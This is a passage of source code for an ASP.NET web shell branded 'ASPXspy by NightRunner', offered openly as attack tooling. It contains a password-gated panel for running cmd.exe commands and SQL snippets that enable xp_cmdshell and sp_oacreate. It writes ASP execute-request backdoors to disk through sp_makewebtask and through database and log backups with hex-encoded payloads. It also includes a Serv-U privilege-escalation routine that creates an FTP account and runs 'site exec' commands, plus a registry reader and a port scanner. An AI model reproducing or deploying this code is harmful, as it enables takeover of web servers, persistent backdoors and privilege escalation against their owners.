  898. Bin_Error(e.Message);
  899. }
  900. }
  901. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  902. {
  903.  
  904. for(int i=2; i < e.Item.Cells.Count; i++)
  905. {
  906. e.Item.Cells[i].Text=e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  907. }
  908.  
  909. }
  910. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  911. {
  912. Bin_DataGrid.CurrentPageIndex=e.NewPageIndex;
  913. Bin_Databind();
  914. }
  915. public void Item_Command(object sender, DataGridCommandEventArgs e)
  916. {
  917. if(e.CommandName=="Cancel")
  918. {
  919. Bin_DataGrid.EditItemIndex=-1;
  920. Bin_Databind();
  921. }
  922. }
  923.  
  924. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  925. {
  926. try
  927. {
  928.  
  929. Bin_Scroll.Visible=true;
  930. Bin_DataGrid.Visible=true;
  931. Bin_DataGrid.AllowPaging=true;
  932. Bin_Accbind();
  933. if(Bin_SQLRadioButton.Checked)
  934. {
  935. Bin_DBmenuPanel.Visible=true;
  936. }
  937. string sqlstr=Bin_DBstrTextBox.Text;
  938. sqlstr=sqlstr.TrimStart().ToLower();
  939. if(sqlstr.Substring(0, 6)=="select")
  940. {
  941. DataTable databind=Bin_DataTable(sqlstr);
  942. Bin_DataGrid.DataSource=databind;
  943. Bin_DataGrid.DataBind();
  944. }
  945. else
  946. {
  947. Bin_ExecSql(sqlstr);
  948. Bin_Databind();
  949. }
  950. }
  951. catch(Exception error)
  952. {
  953. Bin_Error(error.Message);
  954. }
  955. }
  956.  
  957. protected void Bin_BDButton_Click(object sender, EventArgs e)
  958. {
  959. Bin_DBinfoLabel.Visible=false;
  960. Bin_Accbind();
  961. Bin_DBmenuPanel.Visible=true;
  962. Bin_DataGrid.Visible=false;
  963. Bin_DataGrid.AllowPaging=true;
  964. Bin_Scroll.Visible=false;
  965. Bin_DBstrTextBox.Text="";
  966. Bin_SAexecButton.Visible=false;
  967. Bin_ResLabel.Visible=false;
  968. Bin_dirPanel.Visible=false;
  969.  
  970. }
  971.  
  972. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  973. {
  974. Bin_DBinfoLabel.Visible=false;
  975. Bin_DataGrid.Visible=false;
  976. Bin_Scroll.Visible=false;
  977. Bin_SAexecButton.Visible=true;
  978. Bin_Change();
  979. Bin_ExecButton.Visible=false;
  980. Bin_ResLabel.Visible=false;
  981. Session["Bin_Option"]=null;
  982. Bin_dirPanel.Visible=false;
  983.  
  984. }
  985. public void Bin_Change()
  986. {
  987. Bin_ExecButton.Visible=false;
  988. string select="<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))"+"%"+">''' \">SP_makewebtask make file";
  989. if(Session["Bin_Option"] !=null)
  990. {
  991. select+="<option SELECTED>"+Session["Bin_Option"]+"</option>";
  992. }
  993. select+="</select>";
  994. Bin_AccinfoLabel.Text=select;
  995. Bin_DataGrid.Visible=false;
  996. Bin_Scroll.Visible=false;
  997. }
  998.  
  999. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  1000. {
  1001. try
  1002. {
  1003. Bin_Change();
  1004. Bin_DBinfoLabel.Visible=false;
  1005. Bin_ExecButton.Visible=false;
  1006. Bin_Scroll.Visible=false;
  1007. Bin_DataGrid.Visible=false;
  1008. Bin_DBmenuPanel.Visible=true;
  1009. string sqlstr=Bin_DBstrTextBox.Text;
  1010. DataTable databind=Bin_DataTable(sqlstr);
  1011. string res="";
  1012. foreach(DataRow dr in databind.Rows)
  1013. {
  1014. for(int i=0; i < databind.Columns.Count; i++)
  1015. {
  1016. res+=dr[i]+"\r";
  1017. }
  1018. }
  1019. Bin_ResLabel.Text="<hr><div id=\"nei\"><PRE>"+res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;")+"</PRE></div>";
  1020.  
  1021.  
  1022. }
  1023. catch(Exception error)
  1024. {
  1025. Bin_Error(error.Message);
  1026. }
  1027.  
  1028. }
  1029.  
  1030. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1031. {
  1032. Bin_dirPanel.Visible=true;
  1033. Bin_AccPanel.Visible=false;
  1034. Bin_DBinfoLabel.Visible=false;
  1035. Bin_DataGrid.Visible=false;
  1036. Bin_Scroll.Visible=false;
  1037. }
  1038.  
  1039. protected void Bin_listButton_Click(object sender, EventArgs e)
  1040. {
  1041. Bin_dirPanel.Visible=true;
  1042. Bin_AccPanel.Visible=false;
  1043. Bin_DBinfoLabel.Visible=false;
  1044. Bin_SqlDir();
  1045. }
  1046. public void Bin_SqlDir()
  1047. {
  1048. try
  1049. {
  1050. Bin_DataGrid.Visible=true;
  1051. Bin_Scroll.Visible=true;
  1052. Bin_DataGrid.AllowPaging=false;
  1053. string exesql="use pubs;if exists(select * from sysobjects where id=object_id(N'[bin_dir]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400))INSERT bin_dir EXEC MASTER..XP_dirtree '"+Bin_DirTextBox.Text+"',1,1;";
  1054. Bin_ExecSql(exesql);
  1055. DataTable sql_dir=Bin_DataTable("select * from bin_dir");
  1056. Bin_DataGrid.DataSource=sql_dir;
  1057. Bin_DataGrid.DataBind();
  1058. }
  1059. catch(Exception e)
  1060. {
  1061. Bin_Error(e.Message);
  1062. }
  1063. }
  1064.  
  1065. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1066. {
  1067. Bin_CmdPanel.Visible=false;
  1068. Bin_SQLPanel.Visible=false;
  1069. Bin_SuPanel.Visible=true;
  1070. Bin_IISPanel.Visible=false;
  1071. Bin_SuresLabel.Text="";
  1072. Bin_LoginPanel.Visible=false;
  1073. Bin_RegPanel.Visible=false;
  1074. Bin_PortPanel.Visible=false;
  1075. }
  1076.  
  1077. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1078. {
  1079. Bin_DBinfoLabel.Visible=false;
  1080. Bin_AccPanel.Visible=false;
  1081. Bin_BakDB();
  1082. }
  1083. public void Bin_BakDB()
  1084. {
  1085. string path=Bin_DirTextBox.Text.Trim();
  1086. if(path.Substring(path.Length - 1, 1)==@"\")
  1087. {
  1088. path=path+"bin.asp";
  1089. }
  1090. else
  1091. {
  1092. path=path+@"\bin.asp";
  1093. }
  1094. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1095. Bin_ExecSql(sql);
  1096. Bin_SqlDir();
  1097. }
  1098. public void Bin_BakLog()
  1099. {
  1100. string path=Bin_DirTextBox.Text.Trim();
  1101. if(path.Substring(path.Length - 1, 1)==@"\")
  1102. {
  1103. path=path+"bin.asp";
  1104. }
  1105. else
  1106. {
  1107. path=path+@"\bin.asp";
  1108. }
  1109. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1110. Bin_ExecSql(sql);
  1111. Bin_SqlDir();
  1112. }
  1113.  
  1114. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1115. {
  1116. Bin_DBinfoLabel.Visible=false;
  1117. Bin_AccPanel.Visible=false;
  1118. Bin_BakLog();
  1119. }
  1120.  
  1121. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1122. {
  1123. string Result="";
  1124. string user=Bin_SunameTextBox.Text;
  1125. string pass=Bin_SupassTextBox.Text;
  1126. int port=Int32.Parse(Bin_SuportTextBox.Text);
  1127. string cmd=Bin_SucmdTextBox.Text;
  1128. string loginuser="user "+user+"\r\n";
  1129. string loginpass="pass "+pass+"\r\n";
  1130. string site="SITE MAINTENANCE\r\n";
  1131. string deldomain="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1132. string setdomain="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1133. string newdomain="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1134. string quite="QUIT\r\n";
  1135. try
  1136. {
  1137. TcpClient tcp=new TcpClient("127.0.0.1", port);
  1138. tcp.ReceiveBufferSize=1024;
  1139. NetworkStream NS=tcp.GetStream();
  1140. Result=Rev(NS);
  1141. Result+=Send(NS, loginuser);
  1142. Result+=Rev(NS);
  1143. Result+=Send(NS, loginpass);
  1144. Result+=Rev(NS);
  1145. Result+=Send(NS, site);
  1146. Result+=Rev(NS);
  1147. Result+=Send(NS, deldomain);
  1148. Result+=Rev(NS);
  1149. Result+=Send(NS, setdomain);
  1150. Result+=Rev(NS);
  1151. Result+=Send(NS, newdomain);
  1152. Result+=Rev(NS);
  1153. TcpClient tcp1=new TcpClient("127.0.0.1", 52521);
  1154. NetworkStream NS1=tcp1.GetStream();
  1155. Result+=Rev(NS1);
  1156. Result+=Send(NS1, "user bin\r\n");
  1157. Result+=Rev(NS1);
  1158. Result+=Send(NS1, "pass binftp\r\n");
  1159. Result+=Rev(NS1);
  1160. Result+=Send(NS1, "site exec "+cmd+"\r\n");
  1161. Result+=Rev(NS1);
  1162. tcp1.Close();
  1163. Result+=Send(NS, deldomain);
  1164. Result+=Rev(NS);
  1165. Result+=Send(NS, quite);
  1166. Result+=Rev(NS);
  1167. tcp.Close();
  1168. }
  1169. catch(Exception error)
  1170. {
  1171. Bin_Error(error.Message);
  1172. }
  1173. Bin_SuresLabel.Text="<div id=\"su\"><pre>"+Result+"</pre></div>";
  1174.  
  1175.  
  1176. }
  1177. protected string Rev(NetworkStream instream)
  1178. {
  1179. string Restr="";
  1180. if(instream.CanRead)
  1181. {
  1182. byte[] buffer=new byte[1024];
  1183. instream.Read(buffer, 0, buffer.Length);
  1184. Restr=Encoding.ASCII.GetString(buffer);
  1185. }
  1186. return "<font color=red>"+Restr+"</font><br>";
  1187.  
  1188. }
  1189. protected string Send(NetworkStream instream,string Sendstr)
  1190. {
  1191. if(instream.CanWrite)
  1192. {
  1193. byte[] buffer=Encoding.ASCII.GetBytes(Sendstr);
  1194. instream.Write(buffer, 0, buffer.Length);
  1195. }
  1196. return "<font color=blue>"+Sendstr+"</font><br>";
  1197. }
  1198. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1199. {
  1200. Bin_LoginPanel.Visible=false;
  1201. Bin_MainPanel.Visible=false;
  1202. Bin_MenuPanel.Visible=true;
  1203. Bin_FilePanel.Visible=false;
  1204. Bin_CmdPanel.Visible=false;
  1205. Bin_SQLPanel.Visible=false;
  1206. Bin_SuPanel.Visible=false;
  1207. Bin_IISPanel.Visible=true;
  1208. Bin_RegPanel.Visible=false;
  1209. Bin_PortPanel.Visible=false;
  1210. Bin_iisLabel.Text=Bin_iisinfo();
  1211.  
  1212. }
  1213.  
  1214. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1215. {
  1216. Bin_MenuPanel.Visible=true;
  1217. Bin_LoginPanel.Visible=false;
  1218. Bin_CmdPanel.Visible=false;
  1219. Bin_SQLPanel.Visible=false;
  1220. Bin_SuPanel.Visible=false;
  1221. Bin_IISPanel.Visible=false;
  1222. Bin_RegPanel.Visible=false;
  1223. Bin_PortPanel.Visible=true;
  1224. Bin_ScanresLabel.Text="";
  1225. }
  1226.  
  1227. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1228. {
  1229. Bin_MenuPanel.Visible=true;
  1230. Bin_LoginPanel.Visible=false;
  1231. Bin_CmdPanel.Visible=false;
  1232. Bin_SQLPanel.Visible=false;
  1233. Bin_SuPanel.Visible=false;
  1234. Bin_IISPanel.Visible=false;
  1235. Bin_RegPanel.Visible=true;
  1236. Bin_PortPanel.Visible=false;
  1237. Bin_RegresLabel.Text="";
  1238.  
  1239. }
  1240.  
  1241. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1242. {
  1243. try
  1244. {
  1245. string regkey=Bin_KeyTextBox.Text;
  1246. string subkey=regkey.Substring(regkey.IndexOf("\\")+1, regkey.Length - regkey.IndexOf("\\")- 1);
  1247. RegistryKey rk=null;
  1248. object buffer;
  1249. string regstr="";
  1250. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_LOCAL_MACHINE")
  1251. {
  1252. rk=Registry.LocalMachine.OpenSubKey(subkey);
  1253. }
  1254. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CLASSES_ROOT")
  1255. {
  1256. rk=Registry.ClassesRoot.OpenSubKey(subkey);
  1257. }
  1258. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_USER")
  1259. {
  1260. rk=Registry.CurrentUser.OpenSubKey(subkey);
  1261. }
  1262. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_USERS")
  1263. {
  1264. rk=Registry.Users.OpenSubKey(subkey);
  1265. }
  1266. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_CONFIG")
  1267. {
  1268. rk=Registry.CurrentConfig.OpenSubKey(subkey);
  1269. }
  1270. buffer=rk.GetValue(Bin_ValueTextBox.Text, "NULL");
  1271. if (buffer.GetType()==typeof(byte[]))
  1272. {
  1273. foreach (byte tmpbyte in (byte[])buffer)
  1274. {
  1275. if ((int)tmpbyte<16)
  1276. {
  1277. regstr+="0";
  1278. }
  1279. regstr+=tmpbyte.ToString("X");
  1280. }
  1281. Bin_RegresLabel.Text="<br>Result : "+regstr;
  1282. }
  1283. else
  1284. {
  1285. Bin_RegresLabel.Text="<br>Result : "+buffer.ToString();
  1286. }
  1287. }
  1288. catch(Exception error)
  1289. {
  1290. Bin_Error(error.Message);
  1291. }
  1292. }
  1293.  
  1294. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1295. {
  1296. try
  1297. {
  1298. string res="";
  1299. string[] port=Bin_PortsTextBox.Text.Split(',');
  1300. for(int i=0; i < port.Length; i++)
  1301. {
  1302. res+=Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i]))+"<br>";
  1303. }
  1304. Bin_ScanresLabel.Text="<hr>"+res;
  1305. }
  1306. catch(Exception error)
  1307. {
  1308. Bin_Error(error.Message);
  1309. }
  1310. }
  1311. protected string Bin_Scan(string ip, int port)
  1312. {
  1313.  
  1314. string scanres="";
  1315. TcpClient tcp=new TcpClient();
  1316. tcp.SendTimeout=tcp.ReceiveTimeout=2000;
  1317. try
  1318. {
  1319. tcp.Connect(ip, port);
  1320. tcp.Close();
  1321. scanres=ip+" : "+port+" ................................. <font color=green><b>Open</b></font>";
  1322. }
  1323. catch(SocketException e)
  1324. {
  1325. scanres=ip+" : "+port+" ................................. <font color=red><b>Close</b></font>";
  1326. }
  1327. return scanres;
  1328. }
  1329. </script>
  1330. <html xmlns="http://www.w3.org/1999/xhtml" >
  1331. <head runat="server">
  1332. <title>ASPXspy by NightRunner</title>
  1333. <style type="text/css">
  1334. A:link {
  1335. COLOR:#000000; TEXT-DECORATION:None
  1336. }
  1337. A:visited {
  1338. COLOR:#000000; TEXT-DECORATION:None
  1339. }
  1340. A:active {
  1341. COLOR:#000000; TEXT-DECORATION:None
  1342. }
  1343. A:hover {
  1344. COLOR:#000000; TEXT-DECORATION:underline
  1345. }
  1346. BODY {
  1347. FONT-SIZE: 9pt;
  1348. FONT-FAMILY: "Courier New";
  1349. }
  1350. #nei {
  1351. width:500px;
  1352. margin:0px auto;
  1353.  
  1354. overflow:hidden
  1355. }
  1356. #su {
  1357. width:300px;
  1358. margin:0px auto;
  1359.  
  1360. overflow:hidden
  1361. }
  1362. #cmd {
  1363. width:500px;
  1364. margin:0px auto;
  1365.  
  1366. overflow:hidden
  1367. }
  1368. </style>
  1369. <script type="text/javascript" language="javascript" >
  1370. function Command(cmd, str)
  1371. {
  1372. var strTmp=str;
  1373. var frm=document.forms[0];
  1374. if(cmd=='del')
  1375. {
  1376. if(confirm('Del It ?'))
  1377. {
  1378. frm.todo.value=str;
  1379. frm.goaction.value=cmd;
  1380. frm.submit();
  1381. }
  1382. else return;
  1383. }
  1384. if(cmd=='change')
  1385. {
  1386. frm.todo.value=str;
  1387. frm.goaction.value=cmd;
  1388. frm.submit();
  1389. }
  1390. if(cmd=='down')
  1391. {
  1392. frm.todo.value=str;
  1393. frm.goaction.value=cmd;
  1394. frm.submit();
  1395. }
  1396. if(cmd=='showatt')
  1397. {
  1398. frm.todo.value=str;
  1399. frm.goaction.value=cmd;
  1400. frm.submit();
  1401. }
  1402. if(cmd=='edit')
  1403. {
  1404. frm.todo.value=str;
  1405. frm.goaction.value=cmd;
  1406. frm.submit();
  1407. }
  1408. if(cmd=='deldir')
  1409. {
  1410. if(confirm('Del It ?'))
  1411. {
  1412. frm.todo.value=str;
  1413. frm.goaction.value=cmd;
  1414. frm.submit();
  1415. }
  1416. else return;
  1417. }
  1418. if(cmd=='rename' )
  1419. {
  1420. frm.goaction.value=cmd;
  1421. frm.todo.value=str+',';
  1422. str=prompt('Please input new filename:', strTmp);
  1423. if(str &&(strTmp !=str))
  1424. {
  1425. frm.todo.value+=str;
  1426. frm.submit();
  1427. }
  1428. else return;
  1429. }
  1430. if(cmd=='renamedir' )
  1431. {
  1432. frm.goaction.value=cmd;
  1433. frm.todo.value=str+',';
  1434. str=prompt('Please input new foldername:', strTmp);
  1435. if(str &&(strTmp !=str))
  1436. {
  1437. frm.todo.value+=str;
  1438. frm.submit();
  1439. }
  1440. else return;
  1441. }
  1442. if(cmd=='postdata')
  1443. {
  1444. frm.todo.value=str.value;
  1445. frm.goaction.value=cmd;
  1446. frm.submit();
  1447. }
  1448. if(cmd=='changedata')
  1449. {
  1450. frm.todo.value=str.value;
  1451. frm.intext.value=str.options[str.selectedIndex].innerText
  1452. frm.goaction.value=cmd;
  1453. frm.submit();
  1454. }
  1455. }
  1456.  
  1457. </script>
  1458. </head>
  1459. <body>
  1460. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1461. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1462. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1463. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1464. Hackright(H)2013 NightRunner -> <a href="http://sinhvienit.net" target="_blank">Hacker H4</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1465. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1466. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1467. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1468. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1469. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1470. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1471. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1472. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1473. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1474. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1475. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Hackright(H)2013 NightRunner -> <a href="http://sinhvienit.net" target="_blank">Hacker NightRunner</a> -> <a href=http://sinhvienit.net" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1476. <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1477. <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1478. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1479. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1480. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1481. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1482. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1483. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1484. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1485. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1486. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1487. <br />
  1488. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1489. &nbsp;
  1490. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1491. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1492. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1493. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1494. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1495. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1496. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1497. FileName :
  1498. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1499. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1500. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1501. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1502. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1503. <br />
  1504. CreationTime :
  1505. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1506. LastWriteTime :
  1507. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1508. LastAccessTime :
  1509. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1510. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1511. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1512. <hr />
  1513. </asp:Panel></div>
  1514. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1515. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1516. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1517. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1518. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1519. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1520. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1521. Argument :
  1522. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1523. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1524. <div style="text-align: left">
  1525. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1526. <hr /></asp:Panel>
  1527. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1528. <hr />
  1529. ConnString :
  1530. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1531. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1532. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1533. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1534. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1535. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1536. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1537. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1538. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1539. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1540. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1541. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1542. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1543. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1544. <div style="text-align:left">
  1545. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1546. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1547. Path :
  1548. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1549. <br />
  1550. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1551. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1552. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1553. <br /><br />
  1554. <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
